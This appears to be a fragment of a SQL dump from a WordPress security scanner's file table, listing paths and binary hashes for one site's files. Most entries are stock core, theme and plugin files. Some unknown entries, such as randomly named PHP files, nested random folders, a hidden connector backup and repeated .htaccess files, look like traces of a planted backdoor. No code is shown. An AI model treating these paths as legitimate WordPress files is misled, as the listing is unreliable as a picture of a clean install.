('CV%i','wp-includes/block-supports/border.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/border.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aGoM\\','\ZoJ(F\"c[-9乹\"W\rb\Z','',0,'?'),
('Jݟ%j#Ҥ1R','wp-includes/blocks/site-tagline/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ndc/.','g\ZfȄa	xTD&?<','',0,'?'),
('b)qUCm\Z','wp-includes/blocks/comment-edit-link/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':S60	iEo','Oo*/ѷ8?/hh\'*','',0,'?'),
('} yTZHcDJ','wp-admin/js/custom-background.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/custom-background.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|+TGTt\0','rB~<W59[;]ޓ5SD','',0,'?'),
('S{|\"uZz','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-aside.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-aside.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y_aR','@\0ie3>@@X@','',0,'?'),
('{0l(Ʋu9,wSu','wp-includes/js/media-audiovideo.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-audiovideo.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gsdZڶvo','e/҆뎱+Rt\0;>t8yfE','',0,'?'),
(' ,֛U\\X1','wp-content/themes/twentytwentythree/styles/whisper.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/whisper.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ҲR	;bz','GG^uL^KU	\rv\Zw=Y','',0,'?'),
('CNPJY1a','wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2\ZAH\re','pJ.<6LӝDcP紆0Pn','',0,'?'),
(')!)6>}74','wp-includes/css/dist/block-library/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HTV:*','`ɻOXJ`;&Ua{','',0,'?'),
('{eu	I','wp-content/themes/twentytwentythree/assets/fonts/inter/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/inter/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',\\u`','x`R#GEd[qȟh\nxs','',0,'?'),
('LVY*','wp-includes/js/plupload/moxie.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/moxie.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hjb(','xT Z$ \Z\nJC؋(<','',0,'?'),
('}G~/K2','wp-admin/css/colors/coffee/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('MD+}(','wp-content/themes/twentytwentyfive/assets/images/flower-meadow-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/flower-meadow-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jb.2>$ip)','_8Bv Fp0|Vv)F͚|','',0,'?'),
('0eZs1','wp-content/themes/twentytwentytwo/style.min.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dts3\Z','tZQ%N=>\n \"\rnH','',0,'?'),
(' A$ۤfCN37','wp-includes/query.php','/home/trevorkl/trevorklee.com/wp-includes/query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8.Ӯ(Wn\\F','o\"ٽRب +й2l<`v','',0,'?'),
('#G=JS$8\r','wp-includes/blocks/loginout/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nm%HLzd7','Xra!Q{Q<N{\"۷WtSg,','',0,'?'),
('(הWh@=a','wp-includes/images/smilies/icon_mad.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_mad.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V!@c0S','d[O:Ǉjl}q','',0,'?'),
('*Gct}`n','wp-content/themes/twentytwentyfour/patterns/page-portfolio-overview.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-portfolio-overview.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8-ro81g','ە,]1ّTftlљ\r#M+','',0,'?'),
('70,		M','wp-includes/sodium_compat/namespaced/Core/Poly1305.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qy?;8V\n','\0-]뮳XEt)`1C}Mr2/','',0,'?'),
('C,ڦR1A	X','wp-includes/blocks/latest-posts/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n6\Zf6','\0̐ӯ\nZ	/AJ{\'g(','',0,'?'),
('EH!h<y','wp-includes/blocks/site-title/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GM\"t|','` \rpJɁ6ې\Z[2k','',0,'?'),
('dڇ45\'R','wp-content/themes/twentytwentyfive/styles/colors/05-twilight.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/05-twilight.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5O]_\0)','~@Vj8z8Kwy#;A','',0,'?'),
('g\Z\\\r`=m','wp-content/plugins/wordfence/modules/login-security/classes/model/tokenbucket.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/tokenbucket.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']#%Z	Ѧ	','P;X]IRV^4Ƣ\n&h˱w','',0,'?'),
('iBj]','wp-includes/sodium_compat/namespaced/Crypto.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Crypto.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G8J+	z','>8\'XiUbGн,<T`64Ѝ','',0,'?'),
('s۪(,wIptfk:','wp-includes/js/dist/script-modules/a11y/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/a11y/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('vόY9','wp-includes/ID3/getid3.lib.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/getid3.lib.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?.zo#6\0',':-FETj1y0Hྠu,B$','',0,'?'),
('s-uT','wp-content/.rs_g7/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g7/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('-h%Uf}','wp-content/plugins/akismet/_inc/rtl/akismet-admin-rtl.css','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/rtl/akismet-admin-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x,~&\Z','a4z/bR-瑥[s`SB','',0,'?'),
('XHov','wp-admin/css/common-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/common-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?PQ}\0:%','!J{ǚ:\\Ϙp\nXN:(Po!','',0,'?'),
('!NDw`[','wp-includes/js/jquery/ui/dialog.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/dialog.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vnI`uI\0','{PG/X^_7G:Pqzi@Vay','',0,'?'),
('Xp~0D','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Woe~oB2_;','5qSrL]OXsq+l<ɒ','',0,'?'),
('֗]NRS{qv?','wp-admin/css/wp-admin-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/wp-admin-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',*i[p]<','r5SE?29/)_PJvVhR','',0,'?'),
('\Z,zҐU','wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']Z','><ص@ʘFHFqEEjNn`C','',0,'?'),
('|\\ˌj\\d','wp-includes/js/dist/vendor/react-jsx-runtime.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-jsx-runtime.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KI=tjA','\0.z^23/R(.=0x','',0,'?'),
('O܎$8Je','wp-content/plugins/wordfence/models/scanner/wfScanner.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/scanner/wfScanner.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','odhĒb','4:dV>\nC^B-zm','',0,'?'),
('*v<TCUXJn','wp-includes/blocks/column/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/column/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^BSl\rs','R̢`]Kg/\0 %5S','',0,'?'),
('\07m','wp-content/themes/twentytwentyfour/assets/images/angular-roof.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/angular-roof.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','% &ٟAYj]','*nam!ӣ\"˶f','',0,'?'),
('\0߯NI','wp-content/themes/twentynineteen/inc/back-compat.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/back-compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E%%\\C˗','enx3kօ/i&j	\\$s¼PD\0S','',0,'?'),
('V܂0\0U`5C>','wp-includes/css/dist/components/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nIJbc<^l','pJz#~}lf^Ձ','',0,'?'),
('	6!\"P	','wp-content/themes/twentytwentyone/package.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/package.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' awcZ5Oځ-','ؘ,Q)<!̫mK+ &t','',0,'?'),
('\Z R[\'>','wp-content/plugins/wordfence/css/images/ui-icons_777620_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_777620_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J\\c7yxгl','~qV*\'1]3^m','',0,'?'),
('$jX])D:','wp-load.php','/home/trevorkl/trevorklee.com/wp-load.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Aؔg\0p','G-`+\r7G','',0,'?'),
('2\\17Հwi{','wp-includes/js/dist/vendor/wp-polyfill.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')BX.%','ciPHKMFr*8NK=.9Y)','',0,'?'),
('@Ĕl!$F\Z~','wp-includes/blocks/code/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\JNPT-7]','</lU0*ߥW$VvC]4','',0,'?'),
('GR}kB݉','wp-includes/js/dist/theme.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/theme.min.js',0,'<p3hSk,4_','<p3hSk,4_','ZnrcEb@u!n\"L','',0,'?'),
('H)jHj','wp-content/plugins/wordfence/modules/login-security/classes/model/text/javascript.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/text/javascript.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@ˊtru\'','#_\n:8aDؠr٪2/ߘ','',0,'?'),
('Nsf#@Q;;{̻','wp-includes/blocks/query-pagination-numbers/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P,#0O%<8|','qniȅ\nфo3Q۾-NP3NH','',0,'?'),
('[$_ VB@','wp-includes/Requests/src/Cookie/Jar.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Cookie/Jar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cn[LM(','\n$S`\'@#GT+w','',0,'?'),
('j%Mɍp)Z','wp-admin/images/generic.png','/home/trevorkl/trevorklee.com/wp-admin/images/generic.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'[#98!','{uK[g͆Ex{:߼lͨG','',0,'?'),
('\r{n³ )','wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini','/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('v*~ߏ','wp-content/themes/twentytwentyone/assets/images/playing-in-the-sand.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/playing-in-the-sand.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x(Oeꩂ','gɟ-S#bUCG	9a$Riv','',0,'?'),
('$\neJSt}U','wp-includes/SimplePie/autoloader.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/autoloader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n8fJaP#','p\ry*C<C*dfiͯh','',0,'?'),
('RKQ5v-	','wp-includes/css/dist/edit-post/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a6廘N>`\"','272jFϳ Z?Y`0y','',0,'?'),
('q뻣D(j','wp-includes/blocks/list/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.`K.R!_','b\\Fa]r:\rJ~;W\0P6ruC','',0,'?'),
(';(Xp`ҙpݷ','wp-includes/js/plupload/handlers.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/handlers.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pɽc\0','eWĢ\ZG(^bڟ\nH}&Ժ','',0,'?'),
('⮘ Fw\0','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidOperationException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/InvalidOperationException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kEmi[tRa','Xj/+M@Dpeϫů/-pQ0Vɂ','',0,'?'),
('\ZGub|e0wt','wp-includes/Requests/src/Exception/Http/Status501.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status501.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jNf','DNifqJ?3+B','',0,'?'),
('t0ga/','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.woff','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~-x\'	','{ڋNo#X+Xe\'_>\Z','',0,'?'),
('\nqoqZVyX9','wp-admin/includes/menu.php','/home/trevorkl/trevorklee.com/wp-admin/includes/menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7pF|`tb','g3]<*p3\0\n\'16','',0,'?'),
('x,O','wp-includes/blocks/page-list/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('!+UU\n&','wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-page.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2i#;Vf1\r','uߘ][|:Cu&J,Oa\\Tc','',0,'?'),
('&McݝE\\DKt','wp-content/plugins/wordfence/lib/sodium_compat_fast.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/sodium_compat_fast.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d<{޼\n]qY','$/HpV8C.zb`C','',0,'?'),
('=<Oܘ','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Regular.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wuլ.0','.n\\L_-JѧV@`.','',0,'?'),
('=YEg(m','ulxijwmu.php','/home/trevorkl/trevorklee.com/ulxijwmu.php',0,'+ހ:?tD54','+ހ:?tD54','ܰ2\0聳Hl-Wxܒo)\\7','',0,'?'),
('AٮCilwC','wp-includes/css/dist/edit-post/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('e)l::ϾI','wp-content/plugins/header-footer-code-manager/readme.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ŻFo C㷺<7N','.iW_ϫr(1ܜ]B8;M\r','',0,'?'),
('pW	W\r-','wp-includes/blocks/archives/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Il񦏌q\r','wp-includes/blocks/math/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U$a-','/^u)[=L|N_4AZJ,','',0,'?'),
('Ư	\'CԻګ\Z','wp-includes/images/admin-bar-sprite.png','/home/trevorkl/trevorklee.com/wp-includes/images/admin-bar-sprite.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S:W^','rN!`VOcKviՀ{Fn\Zle','',0,'?'),
('Z{f=~r0','wp-content/plugins/wordfence/images/country-map.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/country-map.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']nzjNxn}%','Aeo3E66Bipۥr}','',0,'?'),
('4#հ}','wp-content/plugins/wordfence/modules/login-security/views/manage/code.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/code.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sP1I\"6A`XD@','Ǉq\'(\"L#v<9H;)1,','',0,'?'),
('>\0 z\Z','wp-includes/blocks/navigation/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CtE@%Rp','2+w8^j]7l)t','',0,'?'),
('rH=','wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/index.php',0,'m-ڃp1Iw','m-ڃp1Iw','blu;@6#]La@G','',0,'?'),
('\"Z0\0ؿeԦp','wp-admin/css/admin-menu.css','/home/trevorkl/trevorklee.com/wp-admin/css/admin-menu.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fvphHzK',')RC+\0S}DbDǀEߚ','',0,'?'),
('\"8Y74O<','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Util.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','diBDJD5O','NaiB\rAO]@P','',0,'?'),
('x8[!>X','wp-admin/includes/class-wp-users-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-users-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9&gwul:','K.l?;?VkoG	9/t`Rxx','',0,'?'),
('T!\Z6,','wp-content/themes/twentytwentyfive/styles/07-sunrise.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/07-sunrise.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ؗG	','|a.X;sk=Po/b~','',0,'?'),
('ue{X1','wp-includes/sodium_compat/src/Core32/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DM\"E4bќB\0','\"CYW6A\Zp7\r ','',0,'?'),
('#6~	A^R!','wp-admin/images/contribute-main.svg','/home/trevorkl/trevorklee.com/wp-admin/images/contribute-main.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UVƦ2\0','9H;!-V$zd{mU%Y','',0,'?'),
('\ZyAaL{ר','wp-includes/css/dist/commands/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/commands/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u\\wb?cG$L','yEЍJak}dXM)0y','',0,'?'),
('@qG-$|','wp-content/plugins/wordfence/modules/login-security/classes/controller/db.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/db.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','νBa','h#$/SPgC^MӊYk`Z','',0,'?'),
('J:`Aq1','wp-content/themes/twentynineteen/images/pattern_04.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/images/pattern_04.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a;ذY','01\ngε_/Szԧ*4>','',0,'?'),
('SKK2iɈ','wp-includes/comment.php','/home/trevorkl/trevorklee.com/wp-includes/comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8?~流7','JeA\'4ۘ\n$dכ޷','',0,'?'),
('T5qk-7jVc','wp-admin/css/colors/ocean/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('x_,[5','wp-content/plugins/wordfence/images/sort_asc_disabled.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_asc_disabled.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǐ#a]2','[8lYckl	u#KVn','',0,'?'),
('ygzaU\"	XKG','wp-includes/js/hoverIntent.js','/home/trevorkl/trevorklee.com/wp-includes/js/hoverIntent.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$a','yf`D&LI9@q=AL','',0,'?'),
('|LE38,3N,','wp-content/themes/twentytwentyfive/parts/vertical-header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/vertical-header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s~/,','7IfIDӱt/Tds;I)]JK.c','',0,'?'),
('H\rYom','wp-includes/blocks/code/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('WvwH','wp-content/plugins/header-footer-code-manager/css/style-general-admin.css','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/css/style-general-admin.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',II5Nx','Dr*YoFmg1mEw^)','',0,'?'),
('vRz@7g*T','wp-includes/blocks/navigation/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O\">{C','<EhYi3e\Zwi:FNl','',0,'?'),
('gFBZÚ(v','wp-content/themes/twentytwenty/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RJBOH_ɑp]=','Jp	BRr)VGrI)r','',0,'?'),
('BcֺJxa','wp-content/plugins/wordfence/modules/login-security/views/passkey/information.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/information.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WRv`?Rn','6ɊR|K9@YݺQ4~?','',0,'?'),
('RpB@LJ','wp-includes/blocks/archives/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4?	UEw','̴2I3QS*\"@L$	\"V?','',0,'?'),
('wT','wp-includes/blocks/button/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1/3kLl','P(3Z2XR.N>[E̐1','',0,'?'),
('o/d4x`','wp-content/plugins/akismet/readme.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wL8R1:JJ','o/G6hbTm@cS\n$f_','',0,'?'),
('TEaMYZ4CDi','wp-includes/fonts.php','/home/trevorkl/trevorklee.com/wp-includes/fonts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$/ks+}\Z','ҽ2;gF˥ZjjÔ\'os','',0,'?'),
('GvLhwN','wp-includes/block-bindings/post-data.php','/home/trevorkl/trevorklee.com/wp-includes/block-bindings/post-data.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EisR?','╺;>\\my7\0K\\K','',0,'?'),
('+Fc0m_Ii','wp-content/themes/twentytwentyone/footer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/footer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9h4~EmHCv','0\\cRhK!^W\'','',0,'?'),
('/ɘ]^W\\q','wp-includes/css/wp-embed-template.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-embed-template.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TmAVAЖX','KˠĖl:\\Q`:#EBߤ\'zb','',0,'?'),
('YNV\"|Ȧ`z','wp-includes/Text/udewhxn/krxqwmf/umvqkrn/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/umvqkrn/index.php',0,')G9_bI\"',')G9_bI\"','p\r@ԤSa4P`rNЋ','',0,'?'),
('k5y.Z_','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pغ\r{|TVa','9H$djqҩ$Z_MYļ}','',0,'?'),
('v{LJlōYz`(','wp-includes/js/thickbox/thickbox.css','/home/trevorkl/trevorklee.com/wp-includes/js/thickbox/thickbox.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JΉ)@ARzE','}\"xs4>6>.4','',0,'?'),
('^	\"uZS ','wp-includes/blocks/comment-edit-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kcw!11','kwϫ s왃NI','',0,'?'),
('(NL;	','wp-includes/js/dist/api-fetch.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/api-fetch.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(zoU&͹#','m92cUy	GӬ\reD!','',0,'?'),
